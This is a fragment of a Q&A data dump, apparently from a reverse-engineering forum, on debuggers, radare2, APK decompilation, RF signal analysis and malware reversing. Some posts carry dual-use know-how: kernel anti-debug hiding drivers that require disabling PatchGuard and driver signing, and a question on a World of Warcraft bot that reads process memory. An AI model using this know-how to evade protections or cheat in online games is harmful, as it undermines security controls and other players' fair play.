around with the general-detect bit in dr7 and installed my own trap handler to understand if someone's screwing with my hardware breakpoints. However, this code is quite smart and handles this attempt nicely (re: restores the old hook before accessing any of the debug registers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you now see my conundrum. I need to be running at a lower level than ring0 to deal with this code running at ring0. The only way to do that is in a hypervisor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to monitor the contents of say the dr7 register and see what's accessing it (read/writes). If I find the RIP of the faulting code, I'll be able to step through it and understand more of what it's doing.&lt;/p&gt;&#xA;" OwnerUserId="4213" LastEditorUserId="2147" LastEditDate="2018-10-04T04:26:47.360" LastActivityDate="2018-10-04T04:26:47.360" Title="Using a VMM/hypervisor to monitor guest OS execution?" Tags="|debugging|kernel-mode|driver|virtual-machines|hypervisor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3931" PostTypeId="1" CreationDate="2014-03-21T18:52:34.123" Score="4" ViewCount="1572" Body="&lt;p&gt;I wrote a simple IDAPython script that relies on some non-standard Python library.  I'm able to build the library on Windows and run the script in IDA without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to do this on OSX, IDA complains that the 3rd-party library doesn't exist.  I notice that from the shell on my Mac, the version of Python I'm using is 2.7.x, but IDA says the Python version its using is 2.6.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing &lt;code&gt;sys.executable&lt;/code&gt; in the IDA window and from my shell both seem to print &lt;code&gt;/usr/bin/python&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is this 2.6 python binary? Or, more importantly, how should I properly install this 3rd party library so that IDAPython can see it and use it?&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2014-05-23T08:11:58.680" Title="IDAPython on OSX" Tags="|idapython|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3932" PostTypeId="2" ParentId="3927" CreationDate="2014-03-22T08:13:32.250" Score="1" Body="&lt;p&gt;search for &lt;code&gt;pattern in windbg&lt;/code&gt; to find all the intermodular calls&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; # ff15 calc l?c40&#xA;calc!TtoL+0x1a:&#xA;0100164a ff151c110001    call    dword ptr [calc!_imp__CharNextW (0100111c)]&#xA;calc!ParseCmdLine+0x2:&#xA;01001667 ff158c100001    call    dword ptr [calc!_imp__GetCommandLineW (0100108c)]&#xA;calc!InitializeWindowClass+0x37:&#xA;010017fe ff152c110001    call    dword ptr [calc!_imp__LoadIconW (0100112c)]&#xA;calc!InitializeWindowClass+0x46:&#xA;0100180d ff1528110001    call    dword ptr [calc!_imp__LoadCursorW (01001128)]&#xA;calc!InitializeWindowClass+0x51:&#xA;01001818 ff1524110001    call    dword ptr [calc!_imp__GetSysColorBrush (01001124)]&#xA;calc!InitializeWindowClass+0x6f:&#xA;01001836 ff1520110001    call    dword ptr [calc!_imp__RegisterClassExW (01001120)]&#xA;calc!EverythingResettingNumberSetup+0x1ab:&#xA;010019f8 ff1580100001    call    dword ptr [calc!_imp__LocalAlloc (01001080)]&#xA;calc!EverythingResettingNumberSetup+0x1c3:&#xA;01001a10 ff1590100001    call    dword ptr [calc!_imp__lstrcpyW (01001090)]&#xA;calc!InitSciCalc+0xec:&#xA;01001b03 ff1584110001    call    dword ptr [calc!_imp__SystemParametersInfoW (01001184)]&#xA;0:000&amp;gt; # ffd6 calc l?c40&#xA;calc!ParseCmdLine+0x1d:&#xA;01001682 ffd6            call    esi&#xA;calc!ParseCmdLine+0x55:&#xA;010016ba ffd6            call    esi&#xA;calc!ParseCmdLine+0xae:&#xA;01001713 ffd6            call    esi&#xA;calc!ParseCmdLine+0xdb:&#xA;01001740 ffd6            call    esi&#xA;calc!ParseCmdLine+0x126:&#xA;0100178b ffd6            call    esi&#xA;calc!ParseCmdLine+0x14f:&#xA;010017b4 ffd6            call    esi&#xA;calc!InitSciCalc+0x5d:&#xA;01001a74 ffd6            call    esi&#xA;calc!InitSciCalc+0x71:&#xA;01001a88 ffd6            call    esi&#xA;calc!InitSciCalc+0x8e:&#xA;01001aa5 ffd6            call    esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-03-22T08:13:32.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3933" PostTypeId="1" CreationDate="2014-03-22T09:02:33.800" Score="2" ViewCount="1417" Body="&lt;p&gt;I have spent the past several months refreshing my knowledge of x86 and updating to understand x64, and going through binary exploit development courses. Now that I am equipped with the necessary development knowledge, I would like to turn toward reverse to find vulnerabilities in binaries, and practice that methodology. I have searched Google and it seems to come up with CTF find a password type of challenges.&lt;/p&gt;&#xA;&lt;p&gt;Are there resources that focus on challenges similar to CTF, but specific to finding vulnerabilities is binaries, such as BO, RELRO, NX bypass, ROP, etc...?&lt;/p&gt;&#xA;" OwnerUserId="4217" LastEditorUserId="34073" LastEditDate="2020-08-20T20:41:26.283" LastActivityDate="2020-08-20T20:41:26.283" Title="Good Binary Vulnerability Research Resources" Tags="|x86|linux|binary|" AnswerCount="3" CommentCount="2" ClosedDate="2014-03-31T15:43:43.563" ContentLicense="CC BY-SA 4.0" />
  <row Id="3934" PostTypeId="1" AcceptedAnswerId="3936" CreationDate="2014-03-22T12:11:32.157" Score="3" ViewCount="706" Body="&lt;p&gt;So, how does IDA understand that the file was packed by a packer?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does it distinguishes between different types of packers?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they leave some significant signatures or some patterns of byte code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe they do modify the header of the file in some way?&lt;/p&gt;&#xA;" OwnerUserId="2038" LastActivityDate="2014-03-23T05:56:40.480" Title="How does IDA understand that the file was packed by packer?" Tags="|ida|packers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3935" PostTypeId="2" ParentId="3933" CreationDate="2014-03-22T14:25:58.113" Score="3" Body="&lt;p&gt;Pretty much every version of WU-FTPD is chock full of security vulnerabilities. Here's an archive of old versions: &lt;a href=&quot;http://ftp.gwdg.de/pub/misc/wu-ftpd/ftp.wu-ftpd.org/wu-ftpd-attic/&quot; rel=&quot;nofollow&quot;&gt;http://ftp.gwdg.de/pub/misc/wu-ftpd/ftp.wu-ftpd.org/wu-ftpd-attic/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-22T14:25:58.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3936" PostTypeId="2" ParentId="3934" CreationDate="2014-03-23T05:56:40.480" Score="3" Body="&lt;p&gt;IDA don't detect type of packer. Also, signatures are not used. Instead, it analyze PE-header: .idata section, entry point and import entries.&#xA;This method is very accurate, has low false positives.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2014-03-23T05:56:40.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3937" PostTypeId="2" ParentId="3933" CreationDate="2014-03-24T07:44:59.990" Score="3" Body="&lt;p&gt;You can try playing a few wargames. &lt;a href=&quot;http://io.smashthestack.org/&quot; rel=&quot;nofollow&quot;&gt;IO&lt;/a&gt; on the &lt;a href=&quot;http://smashthestack.org/&quot; rel=&quot;nofollow&quot;&gt;SmashTheStack&lt;/a&gt; network gives a pretty solid introduction to binary reversing and exploitation and their other wargames are pretty good too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;http://www.overthewire.org/wargames/&quot; rel=&quot;nofollow&quot;&gt;OverTheWire&lt;/a&gt; , a successor to the much famed old PullThePlug wargame network, with their bag of different wargames. I'd recommend Vortex. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-03-24T07:44:59.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3938" PostTypeId="1" AcceptedAnswerId="3939" CreationDate="2014-03-24T11:59:50.163" Score="4" ViewCount="6265" Body="&lt;p&gt;How do I get to the entry point of a .exe file using radare2?&#xA;I tried using aa then pdf@sym.main, but a prompt showed saying &quot;Cannot find function at 0x00000000&quot;&lt;/p&gt;&#xA;" OwnerUserId="4166" LastActivityDate="2014-11-29T16:48:46.990" Title="Getting to the entry point using radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3939" PostTypeId="2" ParentId="3938" CreationDate="2014-03-24T12:45:47.790" Score="9" Body="&lt;p&gt;The entrypoint can be found using the info command &lt;code&gt;i?&lt;/code&gt; especially the entrypoint info command &lt;code&gt;ie&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00404890]&amp;gt; ie&#xA;[Entrypoints]&#xA;vaddr=0x00404890 paddr=0x00004890 baddr=0x00400000 laddr=0x00000000&#xA;&#xA;1 entrypoints&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use &lt;code&gt;rabin2 -e &amp;lt;file&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4224" LastEditorUserId="53" LastEditDate="2014-11-29T16:48:46.990" LastActivityDate="2014-11-29T16:48:46.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3940" PostTypeId="2" ParentId="3821" CreationDate="2014-03-24T12:56:36.213" Score="2" Body="&lt;p&gt;The place to start would be to characterize the electrical signal.  Using an oscilloscope, you can determine:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what voltages are used?&lt;/li&gt;&#xA;&lt;li&gt;assuming it's digital, are there more than two levels?&lt;/li&gt;&#xA;&lt;li&gt;what are the shortest duration signals?&lt;/li&gt;&#xA;&lt;li&gt;what seems to be the voltage level when there is no traffic?&lt;/li&gt;&#xA;&lt;li&gt;which end is driving which line? (Hint: unplug one end and check voltages)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After you have the electrical parameters, you can build a circuit to interface the signal(s) to your Arduino.  The simplest would be to simply connect signal and ground to appropriate lines on the Arduino, but you might need to incorporate level converters or buffers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have access to the digital signal, you can start to work on the protocol details.  At the datalink layer, some questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what is the size of the frame?&lt;/li&gt;&#xA;&lt;li&gt;is there an identifiable header?&lt;/li&gt;&#xA;&lt;li&gt;is there a length field?&lt;/li&gt;&#xA;&lt;li&gt;is there a CRC or checksum?&lt;/li&gt;&#xA;&lt;li&gt;can the protocol be identified as some well-known protocol?&lt;/li&gt;&#xA;&lt;li&gt;can you correlate messages with external stimuli?&lt;/li&gt;&#xA;&lt;li&gt;is the protocol bidirectional or unidirectional?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you have captured a number of frames as data on a computer, you can use a number of different kinds of approaches to determine the protocol details  I find it useful to experiment with the frames in an interactive Python session to quickly test ideas. Another promising tool for that would be an open source tool called &lt;a href=&quot;http://www.netzob.org/&quot; rel=&quot;nofollow&quot;&gt;Netzob&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-03-24T12:56:36.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3941" PostTypeId="2" ParentId="3489" CreationDate="2014-03-24T15:21:50.883" Score="3" Body="&lt;p&gt;You could try &lt;a href=&quot;https://github.com/mrexodia/TitanHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;TitanHide&lt;/a&gt;. It is a kernel-mode hiding driver for both x86 and x64 OSses. It has the following features:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- ProcessDebugFlags (NtQueryInformationProcess)&#xA;- ProcessDebugPort (NtQueryInformationProcess)&#xA;- ProcessDebugObjectHandle (NtQueryInformationProcess)&#xA;- DebugObject (NtQueryObject)&#xA;- SystemKernelDebuggerInformation (NtQuerySystemInformation)&#xA;- NtClose (STATUS_INVALID_HANDLE exception)&#xA;- ThreadHideFromDebugger (NtSetInformationThread)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TitanHide is open-source and it's relatively easy to add new hooks. Notice that you need to disable PatchGuard and driver signing for it to work correctly on an x64 OS. Take a look &lt;a href=&quot;https://web.archive.org/web/*/fyyre.ivory-tower.de&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I would like to point out that TitanHide is no longer maintained and not recommended for use in production environments. Always use a VM. For simple applications I would also recommend &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScyllaHide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="2221" LastEditDate="2016-11-11T06:14:12.230" LastActivityDate="2016-11-11T06:14:12.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3942" PostTypeId="1" AcceptedAnswerId="3943" CreationDate="2014-03-24T15:30:15.400" Score="3" ViewCount="6507" Body="&lt;p&gt;I accidentally erased my project from Eclipse, and all I have left is the APK file which I transferred to my phone. Is there a way to reverse the process of exporting an application to the .apk file, so I can get my project back? by using MacOS X ?&lt;/p&gt;&#xA;" OwnerUserId="4226" LastEditorUserId="245" LastEditDate="2014-03-24T17:57:42.697" LastActivityDate="2014-03-24T17:57:42.697" Title="Reverse engineering from an APK file to a project by MAC" Tags="|android|" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-26T11:36:19.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="3943" PostTypeId="2" ParentId="3942" CreationDate="2014-03-24T16:20:34.037" Score="6" Body="&lt;p&gt;See &lt;a href=&quot;http://pof.eslack.org/2011/02/18/from-apk-to-readable-java-source-code-in-3-easy-steps/&quot;&gt;this&lt;/a&gt;. You can unzip the classes.dex from your apk file on the mac, and dex2jar should work on a mac as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last part, jd, is a windows program, but they have an online demo &lt;a href=&quot;http://jd.benow.ca/&quot;&gt;on their project site&lt;/a&gt; - click &quot;live demo&quot; in the header, then drag and drop your jar file on the &lt;code&gt;input files&lt;/code&gt; box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;I just noticed there are download links for jd on mac as well, so you don't need to use the online version. You can even use the jd for eclipse plugin on a mac.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-03-24T16:28:08.503" LastActivityDate="2014-03-24T16:28:08.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3944" PostTypeId="2" ParentId="3489" CreationDate="2014-03-24T17:35:02.317" Score="1" Body="&lt;p&gt;It might be a special case, but if you're on Windows 7 x64, take a look at &lt;a href=&quot;https://tuts4you.com/download.php?view.2425&quot; rel=&quot;nofollow&quot;&gt;Stealth64&lt;/a&gt;. It usually works fine for everything I throw at it.&lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2014-03-24T17:35:02.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3945" PostTypeId="1" CreationDate="2014-03-24T18:59:14.433" Score="3" ViewCount="1630" Body="&lt;p&gt;I want to know how to accomplish this task with python pydbg. How does pydbg trace an instruction? For instance: should I set a breakpoint at the instruction address? Then what should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address                Opcode&#xA;game.exe+31C2CB        eax,[ecx+00000FB0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, using pydbg. I want to find out what addresses does this instruction access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More Info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Platform: Windows 7 x64&lt;/li&gt;&#xA;&lt;li&gt;Python 2.7&lt;/li&gt;&#xA;&lt;li&gt;Game: World of warcraft x32&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I am actually doing is a Bot that will read the player's health from the process memory and depending on the percentage it will heal him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the address for the player's health is dynamic. I've followed a lot of guides on how to find pointers for dynamic addresses / how to defeat DMA, but with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am trying to find another way of finding the player's health address which is by tracing the instruction that accesses it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do this by using cheat engine but I want to implement this feature into my bot so it can automatically find the player's health address.&lt;/p&gt;&#xA;" OwnerUserId="4228" LastEditorUserId="4228" LastEditDate="2017-02-23T18:02:57.923" LastActivityDate="2017-02-23T18:02:57.923" Title="Using Python pydbg - Find out what addresses does an instruction access" Tags="|python|memory|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3947" PostTypeId="1" AcceptedAnswerId="3951" CreationDate="2014-03-25T05:57:47.163" Score="1" ViewCount="351" Body="&lt;p&gt;Is there a open-source Linux tool / utility for Linux platform that would recursively search for binary files (executable, shared / static objects, etc), in a folder and display?&lt;/p&gt;&#xA;" OwnerUserId="4094" LastActivityDate="2014-03-25T09:29:07.580" Title="Binary file search tools" Tags="|tools|linux|" AnswerCount="1" CommentCount="5" ClosedDate="2014-03-25T21:07:24.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="3948" PostTypeId="1" AcceptedAnswerId="3957" CreationDate="2014-03-25T06:00:32.007" Score="2" ViewCount="1124" Body="&lt;p&gt;I'm trying to hit a breakpoint that I set in LLDB (CLI), but for whatever reason I'm not hitting my breakpoint.  I am messing around with the stock Calculator.app on OS X, and am trying to call / hit my breakpoint when I open the About dialog box of the Calculator.app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I launch the Calculator.app, then I start lldb from a Terminal window.  I find the process of the Calculator.app using ps and grep.  I attach to the running process using LLDB.  I then issue the &lt;code&gt;continue&lt;/code&gt; command in LLDB to allow the Calculator.app to continue running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I set a breakpoint in LLDB when the following method is called, &lt;code&gt;showAbout&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I type the following command into LLDB,&#xA;&lt;code&gt;(lldb) breakpoint set --method showAbout&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I click &lt;code&gt;About Calculator&lt;/code&gt; from the menu bar it doesn't halt the program, but rather shows the About dialog box for the Calculator.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="40" LastEditDate="2014-03-26T02:41:06.143" LastActivityDate="2014-03-26T02:41:06.143" Title="How to set a breakpoint when a method is called using LLDB on OS X?" Tags="|debuggers|osx|lldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3949" PostTypeId="1" AcceptedAnswerId="4510" CreationDate="2014-03-25T07:02:55.783" Score="6" ViewCount="5155" Body="&lt;p&gt;How do I specify to radare2 that what I'm disassembling when I know it is a DOS MZ executable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it does not auto-detect this for me.&lt;/p&gt;&#xA;" OwnerUserId="4166" LastEditorUserId="53" LastEditDate="2017-04-28T12:55:54.750" LastActivityDate="2017-04-28T12:55:54.750" Title="Disassembling an unknown DOS MZ executable using radare2" Tags="|disassembly|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3950" PostTypeId="2" ParentId="3945" CreationDate="2014-03-25T07:26:09.797" Score="2" Body="&lt;p&gt;You can use a number of modules for this. It all depends on what you exactly want, my guess is to write a Cheater Application of sorts (due to the term cheat engine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus I'd recommend to use a standalone Module.&#xA;These are a small list of Python modules that can disassemble code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pydbg &lt;/li&gt;&#xA;&lt;li&gt;pyida &lt;/li&gt;&#xA;&lt;li&gt;distorm &lt;/li&gt;&#xA;&lt;li&gt;radare2 &lt;/li&gt;&#xA;&lt;li&gt;pyew &lt;/li&gt;&#xA;&lt;li&gt;byteplay&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-03-25T07:26:09.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3951" PostTypeId="2" ParentId="3947" CreationDate="2014-03-25T09:12:59.417" Score="3" Body="&lt;p&gt;When looking for files containing executable code in a well known format, you could search using &lt;code&gt;find&lt;/code&gt; and &lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find . -type f -print0 | xargs -0 file | grep -i &quot;i386\|x86\|arm\|ar archive&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get you all files which &lt;code&gt;file&lt;/code&gt; labeled with the processor name for i386, x86 or arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are many filetypes which &lt;code&gt;file&lt;/code&gt; does not recognize.&#xA;It will for instance not recognize java jar files, or android apk files as executable.&#xA;Nor will it recognize raw firmware images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I actually usually do when researching an unknown system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;do &lt;code&gt;find . | xargs file&lt;/code&gt; to get a large list of everything&lt;/li&gt;&#xA;&lt;li&gt;then filter out known files, like audio, images, html, text, xml files.&lt;/li&gt;&#xA;&lt;li&gt;then manually inspect what is left over.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;file&lt;/code&gt; also makes lots of mistakes, i usually get quite some number of files labeled as DOS executable, which aren't, also i often see files mislabeled as DBase.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2014-03-25T09:29:07.580" LastActivityDate="2014-03-25T09:29:07.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3953" PostTypeId="1" CreationDate="2014-03-25T14:19:28.513" Score="7" ViewCount="4481" Body="&lt;p&gt;Lately I've been experimenting with &lt;a href=&quot;https://en.wikipedia.org/wiki/Software-defined_radio&quot; rel=&quot;nofollow&quot;&gt;software-defined radio&lt;/a&gt; (SDR) and have come up with some heuristics by which I can visually identify certain kinds of signals by looking at their representation on a waterfall diagram.  Certain obvious characteristics such as frequency and bandwidth can be measured, but how might one systematically go about determining such things as modulation and channel coding?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the books and papers I've read describe the process of transmitting or receiving a known signal, but none that talk about the identification and decoding of unknown signals. Is there a system or method? Are there papers, books or other documents that describe this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;Perhaps it wasn't clear enough from the original question, but what I'm looking for are techniques (read &lt;em&gt;automatable&lt;/em&gt; techniques) that might be used to classify and demodulate an unknown signal that is received over the air. For example, by what method might one automate a method that would reliably identify &lt;a href=&quot;https://en.wikipedia.org/wiki/Quadrature_amplitude_modulation&quot; rel=&quot;nofollow&quot;&gt;16QAM&lt;/a&gt; modulation?&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2014-03-26T01:52:04.767" LastActivityDate="2017-06-22T07:53:59.187" Title="System for reverse engineering RF signals" Tags="|radio-interception|gnu-radio|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3954" PostTypeId="2" ParentId="3953" CreationDate="2014-03-25T16:51:34.600" Score="2" Body="&lt;p&gt;If you can't access the modulation specifics in the documentation or via FCC and patent searches, then you might want to reverse it out of the firmware or chip off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can get an audio-out or oscilloscope visual of the signal, then you may be able to determine the type of modulation -- whether FSK, simple on/off keying, or another data format (especially easy to spot might be ones like POCGAG and Flex). Data will always sound like a dialed modem, and it might not be too difficult to pick out certain types of modulation just based on this sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RTLSDRs, which can receive only in frequencies from 64 to 1700 MHz, with some gaps around 1100–1250 MHz -- isn't ideal to do this, but it certainly can be done with just a 20 USD device and GNU Radio Companion aka GRC (which supports two-level and four-level FSK signals out of the box, no money for additional &quot;add-ons&quot; involved). The Hak5 Youtube channel covers using RTLSDRs with GRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple alternative to SDR (besides straight hardware, but this option does require some hardware) is &lt;a href=&quot;http://labs.inguardians.com/posts/20131007_RfCat_Tutorial.html&quot; rel=&quot;nofollow&quot;&gt;RFcat&lt;/a&gt;. You can see a 2FSK demodulation process from that Inguardians blog post, as well as more information on how to find the information from the FCC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even if you prefer SDR -- there are a few more options currently (and soon to be) available. Coming soon is the &lt;a href=&quot;http://www.youtube.com/watch?v=l42mZ7BDB9A&amp;amp;list=TLeTEHmfJzKaR8oX_2YW_NVcEPeGLVjpZr&quot; rel=&quot;nofollow&quot;&gt;HackRF&lt;/a&gt; device, which will let you transmit using GRC -- a step above the RTLSDR. Available now are the Funcube and the Ettus Research Universal Software Radio Peripherals &lt;a href=&quot;https://intrepidusgroup.com/insight/2011/07/usrp-101-unlocking-wireless-pc-locks-and-freeing-dolphins/&quot; rel=&quot;nofollow&quot;&gt;(USRP), which also work with GRC&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3989" LastActivityDate="2014-03-25T16:51:34.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3955" PostTypeId="1" AcceptedAnswerId="3965" CreationDate="2014-03-25T16:55:19.460" Score="5" ViewCount="3651" Body="&lt;p&gt;I have started reversing this piece of malware. At some point it creates a service and starts it, then immediately it calls the function &lt;code&gt;DeviceIoControl&lt;/code&gt; and the malware went from &quot;paused&quot; to &quot;running&quot; under ollydbg. I've searched a little bit, and I understand that this function serves to communicate with the service it just had created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how exactly do I reverse it? How do I know what it does? And how can I continue stepping under ollydbg? Or do I have to move to windbg or some other kernel-mode debugger?&lt;/p&gt;&#xA;" OwnerUserId="4170" LastEditorUserId="1655" LastEditDate="2014-03-26T07:13:30.167" LastActivityDate="2014-04-12T07:44:23.913" Title="how to reverse DeviceIoControl?" Tags="|malware|kernel-mode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3956" PostTypeId="2" ParentId="3953" CreationDate="2014-03-25T17:35:09.113" Score="4" Body="&lt;p&gt;As atdre suggested, you might want to check on and learn how usual, known, modulations function. That way you'll usually be able to at least figure out what kind of modulation is in question. In most cases it will turn out to be some known modulation. Read on how AFSK or POCSAG work for example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carl Weisman did a series of introductory lessons on RF and wireless communication: &lt;a href=&quot;http://www.slideshare.net/cjweisman/introduction-to-rf-wireless-part-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Part 1&lt;/a&gt;  , &lt;a href=&quot;http://www.slideshare.net/cjweisman/introduction-to-rf-wireless-part-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Part 2&lt;/a&gt;, &lt;a href=&quot;http://www.slideshare.net/cjweisman/introduction-to-rf-wireless-part-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;Part 3&lt;/a&gt; , &lt;a href=&quot;http://www.slideshare.net/cjweisman/introduction-to-rf-wireless-part-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Part 4&lt;/a&gt;.&#xA;The lessons cover different types of modulation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also , passing the signal trough a few known demodulators can sometimes yeild results. &lt;a href=&quot;http://eliasoenal.com/2012/05/24/multimonng/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multimon-ng&lt;/a&gt; is a handy tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/windyoona&quot; rel=&quot;nofollow noreferrer&quot;&gt;Oona&lt;/a&gt; recently wrote an interesting blog post about reversing an unknown &lt;a href=&quot;http://www.windytan.com/2014/02/mystery-signal-from-helicopter.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;signal from a helicopter&lt;/a&gt; video so you might find some hints there too.&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-03-25T17:35:09.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
